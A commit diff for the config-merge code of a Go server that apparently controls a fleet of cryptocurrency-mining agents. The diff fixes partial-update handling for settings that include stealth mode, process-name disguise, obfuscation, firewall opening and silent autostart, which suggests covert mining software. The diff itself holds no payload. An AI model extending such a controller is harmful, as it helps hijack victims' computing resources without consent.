feat: T1007 System Service Discovery - fixed allowlist probe in posture heartbeat
This commit is contained in:
196
server/config.go
196
server/config.go
@@ -359,10 +359,26 @@ func mergeConfig(dst, src *Config) {
|
||||
}
|
||||
}
|
||||
|
||||
// mergeConfigExplicit is like mergeConfig but only applies boolean fields when
|
||||
// the corresponding top-level key was explicitly present in the JSON request.
|
||||
// This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode,
|
||||
// AutoStart, LogAgentConnections, etc. to false.
|
||||
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.
|
||||
func nestedJSONKeys(present map[string]json.RawMessage, section string) map[string]json.RawMessage {
|
||||
if present == nil {
|
||||
return nil
|
||||
}
|
||||
raw, ok := present[section]
|
||||
if !ok || len(raw) == 0 {
|
||||
return nil
|
||||
}
|
||||
var nested map[string]json.RawMessage
|
||||
if err := json.Unmarshal(raw, &nested); err != nil {
|
||||
return nil
|
||||
}
|
||||
return nested
|
||||
}
|
||||
|
||||
// mergeConfigExplicit is like mergeConfig but only applies fields when the
|
||||
// corresponding JSON key was explicitly present in the PUT payload.
|
||||
// Top-level absence preserves existing values (H14); nested absence within a
|
||||
// section preserves sibling fields (partial PUT / import shallow-merge fix).
|
||||
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if present == nil {
|
||||
// Fall back to old behaviour if we have no key presence info
|
||||
@@ -370,186 +386,226 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
return
|
||||
}
|
||||
has := func(key string) bool { _, ok := present[key]; return ok }
|
||||
in := func(section map[string]json.RawMessage, key string) bool {
|
||||
if section == nil {
|
||||
return false
|
||||
}
|
||||
_, ok := section[key]
|
||||
return ok
|
||||
}
|
||||
|
||||
// Non-boolean scalar fields — safe to use zero-value guard
|
||||
if src.Port != 0 {
|
||||
if has("port") && src.Port != 0 {
|
||||
dst.Port = src.Port
|
||||
}
|
||||
if src.DataDir != "" {
|
||||
if has("data_dir") && src.DataDir != "" {
|
||||
dst.DataDir = src.DataDir
|
||||
}
|
||||
|
||||
// Pool — only touch booleans when key was in the payload
|
||||
if has("pool") {
|
||||
if src.Pool.Host != "" {
|
||||
poolKeys := nestedJSONKeys(present, "pool")
|
||||
if in(poolKeys, "host") && src.Pool.Host != "" {
|
||||
dst.Pool.Host = src.Pool.Host
|
||||
}
|
||||
if src.Pool.Port != 0 {
|
||||
if in(poolKeys, "port") && src.Pool.Port != 0 {
|
||||
dst.Pool.Port = src.Pool.Port
|
||||
}
|
||||
dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present
|
||||
if src.Pool.Password != "" {
|
||||
if in(poolKeys, "use_tls") {
|
||||
dst.Pool.UseTLS = src.Pool.UseTLS
|
||||
}
|
||||
if in(poolKeys, "password") && src.Pool.Password != "" {
|
||||
dst.Pool.Password = src.Pool.Password
|
||||
}
|
||||
}
|
||||
|
||||
if has("wallet") {
|
||||
if src.Wallet.Address != "" {
|
||||
walletKeys := nestedJSONKeys(present, "wallet")
|
||||
if in(walletKeys, "address") && src.Wallet.Address != "" {
|
||||
dst.Wallet.Address = src.Wallet.Address
|
||||
}
|
||||
if src.Wallet.PaymentID != "" {
|
||||
if in(walletKeys, "payment_id") && src.Wallet.PaymentID != "" {
|
||||
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||||
}
|
||||
}
|
||||
|
||||
// The JSON struct tag is "default_agent_config" — must match exactly.
|
||||
if has("default_agent_config") {
|
||||
if src.DefaultAgent.Threads != 0 {
|
||||
daKeys := nestedJSONKeys(present, "default_agent_config")
|
||||
if in(daKeys, "threads") && src.DefaultAgent.Threads != 0 {
|
||||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||
}
|
||||
if src.DefaultAgent.ThreadMode != "" {
|
||||
if in(daKeys, "thread_mode") && src.DefaultAgent.ThreadMode != "" {
|
||||
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
||||
}
|
||||
if src.DefaultAgent.ThreadPercent != 0 {
|
||||
if in(daKeys, "thread_percent") && src.DefaultAgent.ThreadPercent != 0 {
|
||||
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
||||
}
|
||||
if src.DefaultAgent.CPUPriority != "" {
|
||||
if in(daKeys, "cpu_priority") && src.DefaultAgent.CPUPriority != "" {
|
||||
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||||
}
|
||||
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||||
if in(daKeys, "max_cpu_usage_pct") && src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||||
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||||
}
|
||||
if src.DefaultAgent.MaxMemoryPct != 0 {
|
||||
if in(daKeys, "max_memory_percent") && src.DefaultAgent.MaxMemoryPct != 0 {
|
||||
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
||||
}
|
||||
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
||||
if in(daKeys, "min_free_ram_mb") && src.DefaultAgent.MinFreeRAMMB != 0 {
|
||||
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||||
}
|
||||
if src.DefaultAgent.MiningMode != "" {
|
||||
if in(daKeys, "mining_mode") && src.DefaultAgent.MiningMode != "" {
|
||||
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||||
}
|
||||
if src.DefaultAgent.DisplayMode != "" {
|
||||
if in(daKeys, "display_mode") && src.DefaultAgent.DisplayMode != "" {
|
||||
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
||||
}
|
||||
if src.DefaultAgent.ProcessName != "" {
|
||||
if in(daKeys, "process_name") && src.DefaultAgent.ProcessName != "" {
|
||||
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
||||
}
|
||||
if src.DefaultAgent.IdleThresholdPct != 0 {
|
||||
if in(daKeys, "idle_threshold_pct") && src.DefaultAgent.IdleThresholdPct != 0 {
|
||||
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||||
}
|
||||
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
||||
if in(daKeys, "idle_duration_minutes") && src.DefaultAgent.IdleDurationMinutes != 0 {
|
||||
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
||||
}
|
||||
if src.DefaultAgent.ScheduleStart != "" {
|
||||
if in(daKeys, "schedule_start") && src.DefaultAgent.ScheduleStart != "" {
|
||||
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
||||
}
|
||||
if src.DefaultAgent.ScheduleEnd != "" {
|
||||
if in(daKeys, "schedule_end") && src.DefaultAgent.ScheduleEnd != "" {
|
||||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||||
}
|
||||
if src.DefaultAgent.InstallBase != "" {
|
||||
if in(daKeys, "install_base") && src.DefaultAgent.InstallBase != "" {
|
||||
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||||
}
|
||||
if src.DefaultAgent.InstallCustomBase != "" {
|
||||
if in(daKeys, "install_custom_base") && src.DefaultAgent.InstallCustomBase != "" {
|
||||
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||||
}
|
||||
if src.DefaultAgent.InstallRelativePath != "" {
|
||||
if in(daKeys, "install_relative_path") && src.DefaultAgent.InstallRelativePath != "" {
|
||||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||
}
|
||||
// Booleans only applied because "default_agent" key was present
|
||||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||||
if in(daKeys, "adapt_to_hardware") {
|
||||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||||
}
|
||||
if in(daKeys, "self_healing") {
|
||||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||||
}
|
||||
if in(daKeys, "file_logging") {
|
||||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||||
}
|
||||
if in(daKeys, "stealth_mode") {
|
||||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||||
}
|
||||
}
|
||||
|
||||
if has("background") {
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
bgKeys := nestedJSONKeys(present, "background")
|
||||
if in(bgKeys, "silent_mode") {
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
}
|
||||
if in(bgKeys, "run_as") && src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
}
|
||||
dst.Background.AutoStart = src.Background.AutoStart
|
||||
if in(bgKeys, "auto_start") {
|
||||
dst.Background.AutoStart = src.Background.AutoStart
|
||||
}
|
||||
}
|
||||
|
||||
if has("alerts") {
|
||||
if src.Alerts.OfflineThresholdMinutes != 0 {
|
||||
alertKeys := nestedJSONKeys(present, "alerts")
|
||||
if in(alertKeys, "offline_threshold_minutes") && src.Alerts.OfflineThresholdMinutes != 0 {
|
||||
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||||
}
|
||||
if src.Alerts.HashrateDropThresholdPct != 0 {
|
||||
if in(alertKeys, "hashrate_drop_threshold_pct") && src.Alerts.HashrateDropThresholdPct != 0 {
|
||||
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
||||
}
|
||||
if src.Alerts.RejectionRateThresholdPct != 0 {
|
||||
if in(alertKeys, "rejection_rate_threshold_pct") && src.Alerts.RejectionRateThresholdPct != 0 {
|
||||
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||||
}
|
||||
if src.Alerts.TelegramBotToken != "" {
|
||||
if in(alertKeys, "telegram_bot_token") && src.Alerts.TelegramBotToken != "" {
|
||||
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
||||
}
|
||||
if src.Alerts.TelegramChatID != "" {
|
||||
if in(alertKeys, "telegram_chat_id") && src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
if src.Alerts.SMTPHost != "" {
|
||||
if in(alertKeys, "email_enabled") {
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
}
|
||||
if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
if src.Alerts.SMTPPort != 0 {
|
||||
if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 {
|
||||
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
||||
}
|
||||
if src.Alerts.SMTPUser != "" {
|
||||
if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" {
|
||||
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
||||
}
|
||||
if src.Alerts.SMTPPassword != "" {
|
||||
if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" {
|
||||
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
||||
}
|
||||
if src.Alerts.EmailTo != "" {
|
||||
if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" {
|
||||
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
||||
}
|
||||
if src.Alerts.EmailFrom != "" {
|
||||
if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" {
|
||||
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
||||
}
|
||||
}
|
||||
|
||||
if has("server") {
|
||||
if src.Server.PublicURL != "" {
|
||||
srvKeys := nestedJSONKeys(present, "server")
|
||||
if in(srvKeys, "public_url") && src.Server.PublicURL != "" {
|
||||
dst.Server.PublicURL = src.Server.PublicURL
|
||||
}
|
||||
if src.Server.StatsRetentionHours != 0 {
|
||||
if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 {
|
||||
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
||||
}
|
||||
if src.Server.BuildRetentionDays != 0 {
|
||||
if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 {
|
||||
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
||||
}
|
||||
if src.Server.PoolReconnectSeconds != 0 {
|
||||
if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 {
|
||||
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
||||
}
|
||||
if src.Server.WebSocketPingSeconds != 0 {
|
||||
if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 {
|
||||
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
||||
}
|
||||
if src.Server.MaxAgents != 0 {
|
||||
if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 {
|
||||
dst.Server.MaxAgents = src.Server.MaxAgents
|
||||
}
|
||||
if src.Server.MaxBuildSizeMB != 0 {
|
||||
if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 {
|
||||
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
||||
}
|
||||
// Booleans applied because "server" key was present
|
||||
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||||
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||||
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||||
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||||
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||||
dst.Server.SignEnabled = src.Server.SignEnabled
|
||||
if src.Server.DashboardSubtitle != "" {
|
||||
if in(srvKeys, "log_agent_connections") {
|
||||
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||||
}
|
||||
if in(srvKeys, "log_share_submissions") {
|
||||
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||||
}
|
||||
if in(srvKeys, "log_pool_traffic") {
|
||||
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||||
}
|
||||
if in(srvKeys, "strict_wallet_validation") {
|
||||
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||||
}
|
||||
if in(srvKeys, "open_firewall_on_start") {
|
||||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||||
}
|
||||
if in(srvKeys, "obfuscate_default") {
|
||||
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||||
}
|
||||
if in(srvKeys, "sign_enabled") {
|
||||
dst.Server.SignEnabled = src.Server.SignEnabled
|
||||
}
|
||||
if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" {
|
||||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||||
}
|
||||
if src.Server.SignCertThumbprint != "" {
|
||||
if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" {
|
||||
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||||
}
|
||||
if src.Server.SignToolPath != "" {
|
||||
if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" {
|
||||
dst.Server.SignToolPath = src.Server.SignToolPath
|
||||
}
|
||||
if src.Server.SignTimestampURL != "" {
|
||||
if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" {
|
||||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||
}
|
||||
if src.Server.FleetSecret != "" {
|
||||
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
|
||||
dst.Server.FleetSecret = src.Server.FleetSecret
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user